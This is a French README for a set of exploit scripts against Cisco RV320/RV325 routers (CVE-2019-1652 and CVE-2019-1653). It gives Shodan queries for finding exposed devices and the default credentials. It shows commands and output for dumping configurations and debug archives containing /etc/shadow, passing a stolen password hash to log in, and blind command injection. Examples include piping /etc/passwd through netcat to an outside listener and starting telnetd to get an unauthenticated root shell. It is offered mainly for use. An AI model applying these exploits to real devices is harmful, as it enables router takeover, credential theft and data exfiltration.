
CVE-2019-1652 /CVE-2019-1653 Exploits pour vider les configurations Cisco RV320 & les données de débogage ET exploit racine à distance !
Exploits CVE-2019-1653/CVE-2019-1652 pour extraire les configurations des Cisco RV320 et obtenir une RCE
Implémentations des exploits CVE-2019-1652 et CVE-2019-1653 divulgués par Red Team Pentesting GmbH.
Je n'ai testé que sur un RV320, mais selon l'avis Cisco, le RV325 est également vulnérable.
Les requêtes Shodan suivantes semblent les trouver, si vous êtes curieux de savoir combien il y en a. Il semble y en avoir pas mal...
ssl:RV320
ssl:RV325
port:161 RV325
port:161 RV320
Les vulnérabilités permettent ce qui suit :
En passant, les identifiants par défaut sont cisco:cisco.
Pour l'exploit de vidage de configuration, il suffit de définir la cible, le port, le SSL (activé/désactivé) et le répertoire de sortie. Il y déversera la configuration.
$ python dump_config.py -t x.x.x.x -p 8443 -s -d output
{+} Envoi de la requête vers https://x.x.x.x:8443/cgi-bin/config.exp
{*} Une configuration valide semble avoir été trouvée ! Écriture dans output/x.x.x.x_8443.conf
$
Pour l'exploit de vidage des données de débogage, c'est la même procédure, mais les données extraites sont plus volumineuses et chiffrées.
Vous voudrez les déchiffrer à l'aide du script "decrypt.sh" fourni, ou manuellement avec openssl. Cela vous donnera un fichier tar.
La sortie de débogage vous donne non seulement la configuration, mais aussi des sauvegardes de /etc et /var, et oui, le fichier /etc/shadow est présent.
Je réécrirai un jour le script de déchiffrement en Python, mais c'était un bricolage rapide.
$ python dump_debug.py -t x.x.x.x -p 8443 -s -d output
{+} Envoi de la requête vers https://x.x.x.x:8443/cgi-bin/export_debug_msg.exp
{*} Une configuration chiffrée valide semble avoir été trouvée ! Écriture dans output/x.x.x.x_8443.enc
$ ./decrypt.sh output/x.x.x.x_8443.enc
Script de déchiffrement des données de débogage chiffrées Cisco !
{+} Déchiffrement de output/x.x.x.x_8443.enc
{+} Le texte en clair devrait être dans output/x.x.x.x_8443.enc.decrypted.tar.gz...
$
En utilisant les identifiants que vous obtenez à partir de ces fichiers (hachés), vous pouvez ensuite exploiter CVE-2019-1652 pour exécuter des commandes sur l'appareil.
Quelques notes sur le « hachage » du mot de passe, avant d'aller plus loin. Sur ces appareils, dans le fichier de configuration, vous trouverez une variable nommée PASSWD suivie d'un hash md5.
Ce hash md5 est md5($password.$auth_key), où auth_key est une valeur statique que vous pouvez trouver en faisant un GET / et en l'analysant.
Il y en a une apparemment courante que j'ai codée en dur dans l'exploit RCE comme solution de secours au cas où la regex dégueulasse d'analyse de page échoue.
CVE-2019-1652 décrit une vulnérabilité triviale d'injection de commande shell, nécessitant une authentification. exec_cmd.py implémente cela, en supposant que vous ayez des identifiants valides. « cisco:cisco » est le défaut, mais vous pouvez aussi casser quelques hashs.
L'injection de commande est aveugle, donc vous n'aurez aucun retour. L'environnement est une configuration Busybox extrêmement limitée avec un netcat très réduit, et les boîtiers sont en mips64, donc je n'ai pas pris la peine d'écrire un exploit de reverse shell cette fois. Vous pouvez toutefois obtenir le résultat d'une commande en faisant par exemple cat /etc/passwd | nc HOST PORT avec un listener en écoute, ou autre chose.
Vous pouvez aussi injecter une commande comme telnetd -l /bin/sh -p 1337 et vous connecter au service telnet résultant, qui vous donnera un joli shell root sans authentification.
Exemple d'exécution de l'exploit ci-dessous :
$ python exec_cmd.py -t x.x.x.x -s -p 8443 -U cisco -P cisco -c "cat /etc/passwd | nc x.x.x.x 1337"
{+} Envoi de la requête vers https://x.x.x.x:8443/ pour extraire la clé d'auth...
{*} Valeur de auth_key obtenue : 1964300002
{+} Connexion réussie, nous pouvons continuer !
{+} OK, maintenant exécution de votre commande : cat /etc/passwd | nc x.x.x.x 1337
{+} Nous n'obtenons pas de sortie donc... Oui. C'est aveugle.
$
# sur le listener...
$ nc -lp 1337
root:x:0:0:root:/:/bin/admin
nobody:x:0:0:nobody:/nonexistent:/bin/false
_lldpd:x:501:501:_lldpd:/:/bin/sh
cisco:x:0:0:root:/bin:/bin/admin
$
Parce que Cisco, vous pouvez en fait passer le hash que vous extrayez et obtenir une session connectée. Nous avons donc écrit un exploit qui extrait le hash et le transmet.
Celui-ci s'appelle easy_access.py. Parce que le chemin des binaires CGI contient un dossier nommé « EasyAccess ».
Exemple d'exécution de EasyAccess ci-dessous...
$ python easy_access.py -t x.x.x.x -p 8443 -s -c "telnetd -l /bin/sh -p 1337"
{+} On va aller chercher un fichier de configuration...
{+} Envoi de la requête vers https://x.x.x.x:8443/cgi-bin/config.exp
{*} Une configuration valide semble avoir été trouvée !
{+} Extraction des identifiants...
{+} Utilisateur obtenu : cisco
{+} Mot de passe (hash) obtenu : [redacted]
{+} Envoi de la requête vers https://x.x.x.x:8443/ pour extraire la clé d'auth...
{*} Valeur de auth_key obtenue : 1964300002
{+} Connexion réussie, nous pouvons continuer !
{+} OK, maintenant exécution de votre commande : telnetd -l /bin/sh -p 1337
{+} Nous n'obtenons pas de sortie donc... Oui. C'est aveugle.
$ telnet x.x.x.x 1337
<snip>
BusyBox v1.2.1 (2017.10.30-07:33+0000) Shell intégré (ash)
Entrez 'help' pour la liste des commandes intégrées.
~ # id
uid=0(root) gid=99(nobody)
~ #
Amusez-vous bien les enfants.